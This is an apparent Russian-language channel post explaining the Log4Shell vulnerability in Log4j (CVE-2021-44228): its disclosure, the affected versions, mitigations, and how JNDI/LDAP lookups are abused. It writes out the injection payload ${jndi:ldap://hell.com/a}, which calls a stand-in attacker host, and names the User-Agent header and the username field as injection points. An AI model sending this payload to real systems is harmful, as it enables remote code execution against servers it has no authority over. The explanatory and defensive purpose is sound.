2021-12-24 17:03:56
Wassup, 9 декабря 2021 года, была раскрыта очень серьезная уязвимость (CVE-2021-44228) Log4Shell — это уязвимость нулевого дня в
Log4j, популярной платформе ведения журналов Java, включающая выполнение произвольного кода. Уязвимость —
ее существование не замечалось с 2013 года — была в частном порядке раскрыта The Apache Software Foundation, проектом которой является
Log4j, Чэнь Чжаоцзюнем из команды безопасности Alibaba Cloud 24 ноября 2021 года и была публично раскрыта 9 декабря 2021 года
В популярном пакете ведения журналов на основе
Java Log4j. Эта уязвимость позволяет злоумышленнику выполнять код на удаленном сервере; так называемое удаленное выполнение кода (
RCE). Из-за широкого использования
Java и
Log4j это, вероятно,
одна из самых серьезных уязвимостей в интернете со времен Heartbleed и ShellShock (
Это CVE-2021-44228 и влияет на версию 2 Log4j между версиями 2.0-beta-9 и 2.14.1. Он исправлен в версии 2.16.0)
Как уменьшить опасность CVE-2021-44228:
Реализуйте один из следующих методов смягчения: Пользователи Java 8 (
или новее) должны выполнить обновление до версии 2.16.0. Пользователи Java 7 должны выполнить обновление до версии 2.12.2.
В противном случае в любой версии, отличной от 2.16.0, вы можете удалить класс
JndiLookup из classpath: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class.
Программа на
Java может использовать
JNDI и
LDAP вместе, чтобы найти объект Java, содержащий данные, которые могут ей понадобиться. Например, в стандартной документации Java есть пример, который обращается к серверу
LDAP для получения атрибутов из объекта. Он использует
URL ldap://localhost:666/o=JNDITutorial для поиска объекта
JNDITutorial на сервере
LDAP, работающем на том же компьютере (
localhost) на порту 666, и продолжает считывать с него атрибуты.
Как сказано в руководстве: "
Если ваш сервер LDAP расположен на другом компьютере или использует другой порт, вам необходимо отредактировать URL LDAP". Таким образом, сервер
LDAP может работать на другом компьютере и, возможно, где угодно в интернете. Эта гибкость означает, что если злоумышленник сможет контролировать URL LDAP, он сможет заставить программу на
Java загрузить объект с сервера, находящегося под его контролем.
Но в случае
Log4j злоумышленник может контролировать URL LDAP, заставляя
Log4j попытаться написать строку вроде ${jndi:ldap://hell.com/a}. Если это произойдет,
Log4j подключится к серверу
LDAP на hell.com и получит объект.
Это происходит из-за того, что
Log4j содержит специальный синтаксис в форме,
${prefix:name} где
prefix - это один из множества различных поисков, в которых
name следует оценивать. Например, ${java:version} это текущая запущенная версия Java.
В
LOG4J2-313 добавлен поиск
jndi следующим образом: "JndiLookup позволяет получать переменные через
JNDI. По умолчанию ключ будет иметь префикс
java:comp/env/, однако, если ключ содержит ":", префикс не будет добавлен".
Если в ключе присутствует, т.к ${jndi:ldap://hell.com/a} здесь нет префикса, и сервер
LDAP запрашивает объект. И эти поисковые запросы можно использовать как в конфигурации
Log4j, так и при регистрации строк.
Итак, все, что нужно сделать — это найти ввод, который регистрируется, и добавить что-то вроде ${jndi:ldap://hell.com/a}. Это может быть обычный HTTP-заголовок
User-Agent (
который обычно регистрируется) или, возможно, такой параметр формы
username также может регистрироваться. Это, вероятно, очень часто встречается в программном обеспечении для выхода в Интернет на основе
Java, которое использует
Log4j.
Например, строка
User-Agent, содержащая эксплойт, может быть передана в серверную систему, написанную на Java, которая выполняет индексацию или анализ данных, и эксплойт может быть зарегистрирован. Вот почему жизненно важно, чтобы все программное обеспечение на основе Java, использующее
Log4j версии
2, было исправлено или немедленно применено смягчение последствий.
Antichrist Blog, APK, Music, Chat, Archive
6.4K views14:03
A
